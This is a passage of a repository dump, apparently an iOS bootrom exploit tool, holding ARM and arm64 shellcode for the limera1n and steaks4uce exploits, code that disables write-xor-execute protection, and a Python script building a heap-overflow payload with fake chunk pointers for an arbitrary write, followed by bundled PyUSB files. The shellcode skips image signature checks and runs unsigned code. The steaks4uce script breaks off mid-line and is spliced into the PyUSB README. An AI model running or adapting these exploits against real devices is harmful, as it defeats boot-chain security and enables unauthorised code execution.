BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CBNZ R0, load_failed @ if (R0 != 0) goto load_failed
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
load_failed:
MOV R0, R4
LDR R3, =memz_destroy
BLX R3 @ memz_destroy(R4)
B pwned_dfu_loop @ goto pwned_dfu_loop
image3_load_no_signature_check:
PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR)
MOV R6, R11
MOV R5, R10
MOV R4, R8
PUSH {R4-R6} @ push_registers(R8, R10, R11)
ADD R7, SP, #0x18 @ R7 = SP - 0x18
LDR R4, =IMAGE3_LOAD_SP_OFFSET
MOV R5, SP
SUB R5, R5, R4
MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET
MOV R3, #0
LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
ADD R4, R5, R4
STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0
STR R2, [SP, #0x10] @ SP[4] = R2
STR R1, [SP, #0x14] @ SP[5] = R1
STR R3, [SP, #0x18] @ SP[6] = 0
LDR R6, [R1] @ R6 = *R1
MOV R10, R1 @ R10 = R1
MOV R11, R3 @ R11 = 0
LDR R1, =MAX_SIZE
MOV R8, R1 @ R8 = MAX_SIZE
LDR R2, [R0, #4]
CMP R2, R1
BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail
MOV R8, R2 @ R8 = R0[1]
MOV R0, R4
MOV R1, R6
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)
LDR R3, =image3_load_continue @ R3 = image3_load_continue
CBZ R4, img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3
img3_fail:
MOV R4, #1 @ R4 = 1
LDR R3, =image3_load_fail @ R3 = image3_load_fail
img3_branch_R3:
BX R3 @ goto R3
.align 2
PWND_STRING:
.ascii " PWND:[limera1n]\x00"
================================================
FILE: src/steaks4uce-shellcode.S
================================================
@ steaks4uce-shellcode.S
@ Author: axi0mX
@ Shellcode for steaks4uce exploit with minor improvements:
@ * reports PWND:[steaks4uce] in USB serial number string
.text
.pool
.set clean_data_cache, 0xBAD0000a
.set invalidate_instruction_cache, 0xBAD00006
.set usb_shutdown, 0xBAD00005
.set free, 0xBAD00011
.set memz_create, 0xBAD00013
.set memz_destroy, 0xBAD00015
.set image3_create_struct, 0xBAD00018
.set image3_load_continue, 0xBAD00019
.set image3_load_fail, 0xBAD0001a
.set usb_wait_for_image, 0xBAD0000d
.set jump_to, 0xBAD00014
.set nor_power_on, 0xBAD00002
.set nor_init, 0xBAD00003
.set usb_destroy, 0xBAD00004
.set memmove, 0xBAD00009
.set strlcat, 0xBAD0000c
.set gLeakingDFUBuffer, 0xBAD00010
.set gVersionString, 0xBAD0000b
.set RELOCATE_SHELLCODE_ADDRESS, 0xBAD00007
.set RELOCATE_SHELLCODE_SIZE, 0xBAD00008
.set MAIN_STACK_ADDRESS, 0xBAD00001
.set LOAD_ADDRESS, 0xBAD0000e
.set MAX_SIZE, 0xBAD0000f
.set EXEC_MAGIC, 0xBAD00012
.set IMAGE3_LOAD_SP_OFFSET, 0xBAD00016
.set IMAGE3_LOAD_STRUCT_OFFSET, 0xBAD00017
.global _start
.code 16
_start:
B pwned_dfu_start @ goto pwned_dfu_start
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
pwned_dfu_start:
LDR R0, =MAIN_STACK_ADDRESS
MOV SP, R0 @ SP = MAIN_STACK_ADDRESS
MOV R0, #1
MOV R1, #1
MOV R2, #0
LDR R3, =nor_power_on
BLX R3 @ nor_power_on(1, 1, 0)
MOV R0, #0
LDR R3, =nor_init
BLX R3 @ nor_init(0)
LDR R3, =usb_destroy
BLX R3 @ usb_destroy()
LDR R3, =usb_shutdown
BLX R3 @ usb_shutdown()
LDR R3, =invalidate_instruction_cache
BLX R3 @ invalidate_instruction_cache()
relocate_shellcode:
MOV R1, PC
SUB R1, R1, #4 @ R1 = PC - 4
LDR R0, =RELOCATE_SHELLCODE_ADDRESS
CMP R0, R1
BEQ pwned_dfu_loop @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_loop
LDR R2, =RELOCATE_SHELLCODE_SIZE
LDR R3, =memmove
BLX R3 @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)
LDR R3, =RELOCATE_SHELLCODE_ADDRESS
ADD R3, R3, #1
BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)
pwned_dfu_loop:
LDR R3, =clean_data_cache
BLX R3 @ clean_data_cache()
LDR R0, =gVersionString
ADR R1, PWND_STRING
MOV R2, #40
LDR R3, =strlcat /* TODO: do this in a more reasonable way */
BLX R3 @ strlcat(gVersionString, PWND_STRING, 40)
LDR R3, =usb_wait_for_image
LDR R0, =LOAD_ADDRESS
LDR R1, =MAX_SIZE
BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)
MOV R4, R0 @ R4 = R0
LDR R1, =gLeakingDFUBuffer
LDR R0, [R1] @ R0 = gLeakingDFUBuffer
MOV R2, #0
STR R2, [R1] @ gLeakingDFUBuffer = 0
LDR R3, =free
BLX R3 @ free(R0)
CMP R4, #0
BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop
LDR R5, =LOAD_ADDRESS
LDR R0, [R5] @ R0 = LOAD_ADDRESS[0]
LDR R1, =EXEC_MAGIC
CMP R0, R1
BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic
LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */
LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */
LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */
LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */
LDR R4, [R5, #0x18]
STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */
LDR R4, [R5, #0x1C]
STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */
LDR R4, [R5, #0x20]
STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */
LDR R4, [R5, #0x4]
BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])
STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0
MOV R1, #0
STR R1, [R5] @ LOAD_ADDRESS[0] = 0
B pwned_dfu_loop @ goto pwned_dfu_loop
pwned_dfu_not_exec_magic:
LDR R0, =LOAD_ADDRESS
MOV R1, R4
MOV R2, #0
LDR R3, =memz_create
BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0)
CMP R0, #0
BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */
LDR R3, =LOAD_ADDRESS
STR R3, [SP] @ SP[0] = LOAD_ADDRESS
STR R4, [SP, #4] @ SP[1] = R4
MOV R4, R0 @ R4 = R0
MOV R1, SP
ADD R2, SP, #4
BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])
CMP R0, #0
BNE load_failed @ if (R0 != 0) goto load_failed
LDR R1, =LOAD_ADDRESS
MOV R2, #0
LDR R3, =jump_to
BLX R3 @ jump_to(0, LOAD_ADDRESS, 0)
/* jump_to should never return */
load_failed:
MOV R0, R4
LDR R3, =memz_destroy
BLX R3 @ memz_destroy(R4)
B pwned_dfu_loop @ goto pwned_dfu_loop
image3_load_no_signature_check:
PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR)
MOV R6, R11
MOV R5, R10
MOV R4, R8
PUSH {R4-R6} @ push_registers(R8, R10, R11)
ADD R7, SP, #0x18 @ R7 = SP - 0x18
LDR R4, =IMAGE3_LOAD_SP_OFFSET
MOV R5, SP
SUB R5, R5, R4
MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET
MOV R3, #0
LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
ADD R4, R5, R4
STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0
STR R2, [SP, #0x10] @ SP[4] = R2
STR R1, [SP, #0x14] @ SP[5] = R1
STR R3, [SP, #0x18] @ SP[6] = 0
LDR R6, [R1] @ R6 = *R1
MOV R10, R1 @ R10 = R1
MOV R11, R3 @ R11 = 0
LDR R1, =MAX_SIZE
MOV R8, R1 @ R8 = MAX_SIZE
LDR R2, [R0, #4]
CMP R2, R1
BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail
MOV R8, R2 @ R8 = R0[1]
MOV R0, R4
MOV R1, R6
LDR R4, =image3_create_struct
BLX R4
MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)
LDR R3, =image3_load_continue @ R3 = image3_load_continue
CMP R4, #0
BEQ img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3
img3_fail:
MOV R4, #1 @ R4 = 1
LDR R3, =image3_load_fail @ R3 = image3_load_fail
img3_branch_R3:
BX R3 @ goto R3
.align 2
PWND_STRING:
.ascii "] PWND:[steaks4uce\x00"
================================================
FILE: src/t8010_t8011_disable_wxn_arm64.S
================================================
.text
.align 2
.globl _main
_main:
MOV X1, #0x180000000
ADD X2, X1, #0xA0000
ADD X1, X1, #0x625
STR X1, [X2,#0x600]
DMB SY
MOV X0, #0x100D
MSR SCTLR_EL1, X0
DSB SY
ISB
RET
================================================
FILE: src/t8015_shellcode_arm64.S
================================================
.text
.pool
.set JUMP_BACK, 0x180018004
.set WRITE_ADDR, 0x180033538
.set WRITE_VALUE, 0x9100C484
.globl _main
_main:
MSR DAIFSET, #0xF
LDR X5, =WRITE_ADDR
LDR W6, =WRITE_VALUE
STR W6, [X5]
LDR X5, =JUMP_BACK
BR X5
================================================
FILE: src/usb_0xA1_2_arm64.S
================================================
.text
.pool
.set USB_CORE_DO_IO, 0xBAD00006
.set LOAD_ADDRESS, 0xBAD00001
.set EXEC_MAGIC, 0xBAD00002
.set MEMC_MAGIC, 0xBAD00004
.set MEMS_MAGIC, 0xBAD00005
.set DONE_MAGIC, 0xBAD00003
.global _main
_main:
jump_back:
BRK #1
BRK #1
LDRH W2, [X0]
CMP W2, #0x2A1
BNE jump_back
STP X29, X30, [SP,#-0x10]!
MOV X29, SP
STP X20, X19, [SP,#-0x10]!
MOV X19, X0
LDR X20, =LOAD_ADDRESS
MOV W1, #0xFFFF
LDRH W2, [X19,#2]
CMP W1, W2
BNE request_done
LDR X0, [X20] ; X0 = LOAD_ADDRESS[0]
LDR X1, =EXEC_MAGIC
CMP X0, X1
BNE not_exec ; if (X0 != EXEC_MAGIC) goto not_exec
STR XZR, [X20] ; LOAD_ADDRESS[0] = 0
LDR X0, [X20, #0x10] ; X0 = LOAD_ADDRESS[2] /* arg1 */
LDR X1, [X20, #0x18] ; X1 = LOAD_ADDRESS[3] /* arg2 */
LDR X2, [X20, #0x20] ; X2 = LOAD_ADDRESS[4] /* arg3 */
LDR X3, [X20, #0x28] ; X3 = LOAD_ADDRESS[5] /* arg4 */
LDR X4, [X20, #0x30] ; X4 = LOAD_ADDRESS[6] /* arg5 */
LDR X5, [X20, #0x38] ; X5 = LOAD_ADDRESS[7] /* arg6 */
LDR X6, [X20, #0x40] ; X6 = LOAD_ADDRESS[8] /* arg7 */
LDR X7, [X20, #0x40] ; X7 = LOAD_ADDRESS[9] /* arg8 */
LDR X8, [X20, #0x8]
BLR X8 ; X0 = LOAD_ADDRESS[1](X0, X1, X2, X3, X4, X5, X6, X7)
LDR X8, =DONE_MAGIC
STP X8, X0, [X20] ; LOAD_ADDRESS[0,1] = DONE_MAGIC, X0
B request_done
not_exec:
LDR X1, =MEMC_MAGIC
CMP X0, X1
BNE not_memc
STR XZR, [X20]
LDP X0, X1, [X20, #0x10]
LDR X2, [X20, #0x20]
BL memcpy
LDR X8, =DONE_MAGIC
STR X8, [X20]
B request_done
not_memc:
LDR X1, =MEMS_MAGIC
CMP X0, X1
BNE request_done
STR XZR, [X20]
LDP X0, X1, [X20, #0x10]
LDR X2, [X20, #0x20]
BL memset
LDR X8, =DONE_MAGIC
STR X8, [X20]
B request_done
request_done:
MOV W0, #0x80
MOV X1, X20
LDRH W2, [X19,#6]
MOV X3, #0
LDR X4, =USB_CORE_DO_IO
BLR X4
MOV W0, #0
LDP X20, X19, [SP],#0x10
LDP X29, X30, [SP],#0x10
RET
memset:
MOV X3, #0x101010101010101
AND X1, X1, #0xFF
MUL X1, X1, X3
MOV X3, X0
memset_8:
CMP X2, #8
B.CC memset_4
STR X1, [X0]
ADD X0, X0, #8
SUB X2, X2, #8
B memset_8
memset_4:
CMP X2, #4
B.CC memset_2
STR W1, [X0]
ADD X0, X0, #4
SUB X2, X2, #4
memset_2:
CMP X2, #2
B.CC memset_1
STR W1, [X0]
ADD X0, X0, #2
SUB X2, X2, #2
memset_1:
CBZ X2, memset_done
STR W1, [X0]
ADD X0, X0, #1
SUB X2, X2, #1
memset_done:
MOV X0, X3
RET
memcpy:
MOV X4, X0
memcpy_8:
CMP X2, #8
B.CC memcpy_4
LDR X3, [X1]
STR X3, [X0]
ADD X0, X0, #8
ADD X1, X1, #8
SUB X2, X2, #8
B memcpy_8
memcpy_4:
CMP X2, #4
B.CC memcpy_2
LDR W3, [X1]
STR W3, [X0]
ADD X0, X0, #4
ADD X1, X1, #4
SUB X2, X2, #4
memcpy_2:
CMP X2, #2
B.CC memcpy_1
LDRH W3, [X1]
STRH W3, [X0]
ADD X0, X0, #2
ADD X1, X1, #2
SUB X2, X2, #2
memcpy_1:
CBZ X2, memcpy_done
LDRB W3, [X1]
STRB W3, [X0]
ADD X0, X0, #1
ADD X1, X1, #1
SUB X2, X2, #1
memcpy_done:
MOV X0, X4
RET
================================================
FILE: src/usb_0xA1_2_armv7.S
================================================
.text
.pool
.set USB_CORE_DO_IO, 0xBAD00006
.set LOAD_ADDRESS, 0xBAD00001
.set EXEC_MAGIC, 0xBAD00002
.set MEMC_MAGIC, 0xBAD00004
.set MEMS_MAGIC, 0xBAD00005
.set DONE_MAGIC, 0xBAD00003
.code 16
.global _main
_main:
jump_back:
BKPT #1
BKPT #1
BKPT #1
BKPT #1
LDRH R2, [R0]
MOVW R3, #0x2A1
CMP R2, R3
BNE jump_back
PUSH {R4-R7,LR}
ADD R7, SP, #0xC
SUB SP, SP, #0x10
MOV R4, R0
LDR R5, =LOAD_ADDRESS
MOVW R1, #0xFFFF
LDRH R2, [R4,#2]
CMP R1, R2
BNE request_done
LDRD R0, R1, [R5]
LDR R2, =EXEC_MAGIC
CMP R0, R2
BNE not_exec
CMP R1, R2
BNE not_exec
MOV R1, #0
STRD R1, R1, [R5]
LDRD R0, R1, [R5, #0x20]
LDRD R2, R3, [R5, #0x28]
STRD R0, R1, [SP]
STRD R2, R3, [SP, #0x8]
LDRD R0, R1, [R5, #0x10]
LDRD R2, R3, [R5, #0x18]
LDR R6, [R5, #0x8]
BLX R6
LDR R2, =DONE_MAGIC
STRD R0, R1, [R5,#0x8]
STRD R2, R2, [R5]
not_exec:
LDR R2, =MEMC_MAGIC
CMP R0, R2
BNE not_memc
CMP R1, R2
BNE not_memc
MOV R1, #0
STRD R1, R1, [R5]
LDRD R0, R1, [R5, #0x10]
LDR R2, [R5, #0x18]
BL memcpy
LDR R2, =DONE_MAGIC
STRD R2, R2, [R5]
B request_done
not_memc:
LDR R2, =MEMS_MAGIC
CMP R0, R2
BNE request_done
CMP R1, R2
BNE request_done
MOV R1, #0
STRD R1, R1, [R5]
LDRD R0, R1, [R5, #0x10]
LDR R2, [R5, #0x18]
BL memset
LDR R2, =DONE_MAGIC
STRD R2, R2, [R5]
request_done:
MOV R0, #0x80
MOV R1, R5
LDRH R2, [R4,#6]
MOV R3, #0
LDR R4, =USB_CORE_DO_IO
BLX R4
MOV R0, #0
ADD SP, SP, #0x10
POP {R4-R7,PC}
memcpy:
CMP R2, #4
BCC memcpy_2
LDR R3, [R1]
STR R3, [R0]
ADD R0, R0, #4
ADD R1, R1, #4
SUB R2, R2, #4
B memcpy
memcpy_2:
CMP R2, #2
BCC memcpy_1
LDRH R3, [R1]
STRH R3, [R0]
ADD R0, R0, #2
ADD R1, R1, #2
SUB R2, R2, #2
memcpy_1:
CBZ R2, memcpy_done
LDRB R3, [R1]
STRB R3, [R0]
ADD R0, R0, #1
ADD R1, R1, #1
SUB R2, R2, #1
memcpy_done:
BX LR
memset:
MOV R3, #0xFF
AND R1, R1, R3
LSL R3, R1, #8
ORR R1, R1, R3
LSL R3, R1, #16
ORR R1, R1, R3
memset_4:
CMP R2, #4
BCC memset_2
STR R1, [R0]
ADD R0, R0, #4
SUB R2, R2, #4
B memset_4
memset_2:
CMP R2, #2
BCC memset_1
STRH R1, [R0]
ADD R0, R0, #2
SUB R2, R2, #2
memset_1:
CBZ R2, memset_done
STRB R1, [R0]
ADD R0, R0, #1
SUB R2, R2, #1
memset_done:
BX LR
================================================
FILE: steaks4uce.py
================================================
# Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g.
import struct, sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import dfu
constants_240_4 = [
0x22030000, # 1 - MAIN_STACK_ADDRESS
0x3af5, # 2 - nor_power_on
0x486d, # 3 - nor_init
0x6c81, # 4 - usb_destroy
0x1059, # 5 - usb_shutdown
0x560, # 6 - invalidate_instruction_cache
0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS
0x200, # 8 - RELOCATE_SHELLCODE_SIZE
0x795c, # 9 - memmove
0x534, # 10 - clean_data_cache
0x280, # 11 - gVersionString
0x83cd, # 12 - strlcat
0x30e9, # 13 - usb_wait_for_image
0x22000000, # 14 - LOAD_ADDRESS
0x24000, # 15 - MAX_SIZE
0x220241ac, # 16 - gLeakingDFUBuffer
0x1955, # 17 - free
0x65786563, # 18 - EXEC_MAGIC
0x1bf1, # 19 - memz_create
0x3339, # 20 - jump_to
0x1c19, # 21 - memz_destroy
0x58, # 22 - IMAGE3_LOAD_SP_OFFSET
0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET
0x1c5d, # 24 - image3_create_struct
0x22cd, # 25 - image3_load_continue
0x23a3, # 26 - image3_load_fail
]
constants_240_5_1 = [
0x22030000, # 1 - MAIN_STACK_ADDRESS
0x3afd, # 2 - nor_power_on
0x4875, # 3 - nor_init
0x6c89, # 4 - usb_destroy
0x1059, # 5 - usb_shutdown
0x560, # 6 - invalidate_instruction_cache
0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS
0x200, # 8 - RELOCATE_SHELLCODE_SIZE
0x7964, # 9 - memmove
0x534, # 10 - clean_data_cache
0x280, # 11 - gVersionString
0x83d5, # 12 - strlcat
0x30f1, # 13 - usb_wait_for_image
0x22000000, # 14 - LOAD_ADDRESS
0x24000, # 15 - MAX_SIZE
0x220241ac, # 16 - gLeakingDFUBuffer
0x1955, # 17 - free
0x65786563, # 18 - EXEC_MAGIC
0x1bf9, # 19 - memz_create
0x3341, # 20 - jump_to
0x1c21, # 21 - memz_destroy
0x58, # 22 - IMAGE3_LOAD_SP_OFFSET
0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET
0x1c65, # 24 - image3_create_struct
0x22d5, # 25 - image3_load_continue
0x23ab, # 26 - image3_load_fail
]
class DeviceConfig:
def __init__(self, version, constants):
self.version = version
self.constants = constants
configs = [
DeviceConfig('240.4', constants_240_4), # S5L8720 (old bootrom)
DeviceConfig('240.5.1', constants_240_5_1), # S5L8720 (new bootrom)
]
# Pad to length 256 and add heap data for overwrite
payload = '\x00' * 256 + struct.pack('<14I',
# 1. Allocated chunk to be freed
# Chunk header: (size 0x8)
0x84, # 0x00: previous_chunk
0x5, # 0x04: next_chunk
# Contents: (requested size 0x1c, allocated size 0x20)
0x80, # 0x08: buffer[0] - direction
0x22026280, # 0x0c: buffer[1] - usb_response_buffer
0xffffffff, # 0x10: buffer[2]
0x138, # 0x14: buffer[3] - size of payload in bytes
0x100, # 0x18: buffer[4]
0x0, # 0x1c: buffer[5]
0x0, # 0x20: buffer[6]
0x0, # 0x24: unused
# 2. Fake free chunk
# Chunk header: (size 0x8)
0x15, # 0x28: previous_chunk
0x2, # 0x2c: next_chunk
# Attack fd/bk pointers in this free chunk for arbitrary write:
0x22000001, # 0x30: fd - shellcode_address (what to write)
0x2202d7fc, # 0x34: bk - exception_irq() LR on the stack (where to write it)
)
def generate_shellcode(constants):
with open('bin/steaks4uce-shellcode.bin', 'rb') as f:
shellcode = f.read()
# Shellcode has placeholder values for constants; check they match and replace with constants from config
placeholders_offset = len(shellcode) - 4 * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + 4 * i
(value,) = struct.unpack('= 2.4, ctypes and at least one of the
builtin backends.
PyUSB supports libusb 0.1, libusb 1.0 and OpenUSB, but the user does not need
to worry about that, unless in some corner cases.
If you have any question about PyUSB, you can use the PyUSB mailing list
hosted in the SourceForge. In the PyUSB website (http://walac.github.io/pyusb)
you can find instructions on how to subscribe to the mailing list.
Installing PyUSB on GNU/Linux Systems
=====================================
These instructions are for Debian-based systems. Instructions for
other flavors of GNU/Linux should be similar.
You will first need to install the following packages:
1) python (PyUSB is useless without it), version >= 2.4
2) At least one of the supported libraries (libusb 1.0, libusb 0.1 or OpenUSB)
3) If your Python version is < 2.5, you have to install ctypes as a separate
package, because these versions of Python does not ship it.
For example, the command::
$ sudo apt-get install python libusb-1.0-0
should install all these packages on most Debian-based systems with
access to the proper package repositories.
Once the above packages are installed, you can install PyUSB
with the command::
$ sudo python setup.py install
Run it as root from within the same directory as this README file.
You can also use `pip `_ to
install PyUSB::
$ sudo pip install pyusb --pre
Just bear in mind that you still follow to procedure to install the
libusb library.
For pure Debian variants
------------------------
For pure Debian systems you are advised to install either the
python-usb or python3-usb packages. These are prebuilt based on
PyUSB and libusb-1.0::
$ sudo apt-get install python-usb python3-usb
You may wish to get the backported version 1.0, since PyUSB
doesn't depend upon any truly unstable packages.
Installing PyUSB on Windows
===========================
Now that PyUSB is 100% written in Python, you install it on Windows
in the same way you do on Linux::
python setup.py install
If you get some kind of "command not found" error, make sure to add
the Python install directory to your PATH environment variable or
give the complete path to the Python interpreter.
Remember that you need libusb (1.0 or 0.1) or OpenUSB running on your
system. For Windows users, libusb 0.1 is provided through
`libusb-win32 `_
package. Check the libusb website for updates
(http://www.libusb.info).
Reporting bugs/Submitting patches
=================================
Some people have been sending patches and reporting bugs directly
at my email. Please, do it through
`github `_, I had a hardtime tracking
their names to put them in the acknowledgments file. ;-)
PS: this README file was based on the great Josh Lifton's one... ^_^
================================================
FILE: usb/__init__.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
r"""PyUSB - Easy USB access in Python
This package exports the following modules and subpackages:
core - the main USB implementation
legacy - the compatibility layer with 0.x version
backend - the support for backend implementations.
control - USB standard control requests.
libloader - helper module for backend library loading.
Since version 1.0, main PyUSB implementation lives in the 'usb.core'
module. New applications are encouraged to use it.
"""
import logging
import os
__author__ = 'Wander Lairson Costa'
# Use Semantic Versioning, http://semver.org/
version_info = (1, 0, 0)
__version__ = '%d.%d.%d' % version_info
__all__ = ['legacy', 'control', 'core', 'backend', 'util', 'libloader']
def _setup_log():
from usb import _debug
logger = logging.getLogger('usb')
debug_level = os.getenv('PYUSB_DEBUG')
if debug_level is not None:
_debug.enable_tracing(True)
filename = os.getenv('PYUSB_LOG_FILENAME')
LEVELS = {'debug': logging.DEBUG,
'info': logging.INFO,
'warning': logging.WARNING,
'error': logging.ERROR,
'critical': logging.CRITICAL}
level = LEVELS.get(debug_level, logging.CRITICAL + 10)
logger.setLevel(level = level)
try:
handler = logging.FileHandler(filename)
except:
handler = logging.StreamHandler()
fmt = logging.Formatter('%(asctime)s %(levelname)s:%(name)s:%(message)s')
handler.setFormatter(fmt)
logger.addHandler(handler)
else:
class NullHandler(logging.Handler):
def emit(self, record):
pass
# We set the log level to avoid delegation to the
# parent log handler (if there is one).
# Thanks to Chris Clark to pointing this out.
logger.setLevel(logging.CRITICAL + 10)
logger.addHandler(NullHandler())
_setup_log()
# We import all 'legacy' module symbols to provide compatibility
# with applications that use 0.x versions.
from usb.legacy import *
================================================
FILE: usb/_debug.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
__author__ = 'Wander Lairson Costa'
__all__ = ['methodtrace', 'functiontrace']
import logging
import usb._interop as _interop
_enable_tracing = False
def enable_tracing(enable):
global _enable_tracing
_enable_tracing = enable
def _trace_function_call(logger, fname, *args, **named_args):
logger.debug(
# TODO: check if 'f' is a method or a free function
fname + '(' + \
', '.join((str(val) for val in args)) + \
', '.join((name + '=' + str(val) for name, val in named_args.items())) + ')'
)
# decorator for methods calls tracing
def methodtrace(logger):
def decorator_logging(f):
if not _enable_tracing:
return f
def do_trace(*args, **named_args):
# this if is just a optimization to avoid unecessary string formatting
if logging.DEBUG >= logger.getEffectiveLevel():
fn = type(args[0]).__name__ + '.' + f.__name__
_trace_function_call(logger, fn, *args[1:], **named_args)
return f(*args, **named_args)
_interop._update_wrapper(do_trace, f)
return do_trace
return decorator_logging
# decorator for methods calls tracing
def functiontrace(logger):
def decorator_logging(f):
if not _enable_tracing:
return f
def do_trace(*args, **named_args):
# this if is just a optimization to avoid unecessary string formatting
if logging.DEBUG >= logger.getEffectiveLevel():
_trace_function_call(logger, f.__name__, *args, **named_args)
return f(*args, **named_args)
_interop._update_wrapper(do_trace, f)
return do_trace
return decorator_logging
================================================
FILE: usb/_interop.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
